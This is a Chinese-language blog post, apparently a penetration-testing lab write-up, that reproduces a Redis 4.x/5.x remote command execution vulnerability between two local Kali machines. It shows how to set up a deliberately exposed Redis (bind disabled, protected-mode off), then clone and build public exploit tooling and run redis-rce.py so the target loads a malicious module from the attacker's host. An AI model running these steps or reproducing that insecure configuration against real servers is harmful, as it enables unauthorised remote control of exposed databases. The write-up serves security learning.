1. 程式人生 > 實用技巧 >Redis遠端命令執行漏洞復現

Redis遠端命令執行漏洞復現

本文首發於我的個人部落格,記錄了我在實驗室學習滲透測試所做的第二個漏洞復現,全部過程記錄在此,以便後續檢視,同時也希望本文能對您有所幫助。

同時,若文章有什麼錯誤,請到我的個人部落格進行核對,或者請在評論區告知,謝謝!

前言

Redis簡介

Redis是一個高效能的key-value儲存系統,支援多種value型別,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客戶端。

實驗環境

  • 攻擊機:Kali 192.168.227.128
  • 靶機:Kali 192.168.227.129
  • 影響範圍:Redis4.x、5.x

靶機安裝Redis包

  1. 下載Redis包:

    wget download.redis.io/releases/redis-4.0.11.tar.gz
    

  2. 解壓安裝包

    tar xzvf redis-4.0.11.tar.gz
    

    當前目錄下會出現一個名為``redis-4.0.11`的資料夾。

  3. make安裝

    進入資料夾,在usr/local/redis目錄下安裝redis:

    make PREFIX=/usr/local/redis install
    

    之後命令列刷屏,等待一會後,出現如下提示,安裝結束:

  4. 檢查安裝是否有問題

    安裝命令列提示,輸入:

    make test
    

    等待一會兒,若出現以下提示,說明測試通過,安裝已完成:

  5. 拷貝原始碼中的redis.conf到/usr/local/redis中

    cp /redis-4.0.11/redis.conf /usr/local/redis
    
  6. 修改redis.conf

    進入/usr/local/redis目錄,開啟redis.conf,做出以下修改:

    • 找到未註釋的bind 127.0.0.1,並註釋掉
    • 修改protected-mode屬性為no(可通過IP訪問)
    • 修改daemonize屬性為yes(標識redis以後臺方式啟動)
  7. 服務端啟動服務

    進入/usr/local/redis/bin目錄下,執行如下命令:

    ./redis-server /usr/local/redis/redis.conf
    

    結果如下:

  8. 啟動客戶端連線並測試

    同樣在bin目錄下,執行如下命令:

    ./redis-cli
    

    結果如下:

攻擊

攻擊機中需要下載RedisModules-ExecuteCommandpoc

  1. 下載RedisModules-ExecuteCommand

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
    

    然後進入RedisModules-ExcuteCommand目錄,直接make編譯:

    make
    
  2. 下載poc

    git clone https://github.com/Ridter/redis-rce.git
    
  3. 複製

    將RedisMoudules-ExecuteCommand/src下的modules.so檔案複製到poc目錄(redis-rce)下。

  4. 安裝需要的庫

    我在執行redis.rce.py時,提示我缺少six這個庫,需要pip安裝。首先安裝pip:

    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
    

    安裝完成後,當前目錄下會出現一個get-pip.py檔案,執行後就可以使用pip了:

    python get-pip.py
    

    然後就可以安裝需要的庫:

    pip install six
    
  5. 執行poc

    在redis-rce目錄下,命令列鍵入:

    Python redis-rce.py -r 目標機ip -L 攻擊機ip -f module.so
    

    結果如下: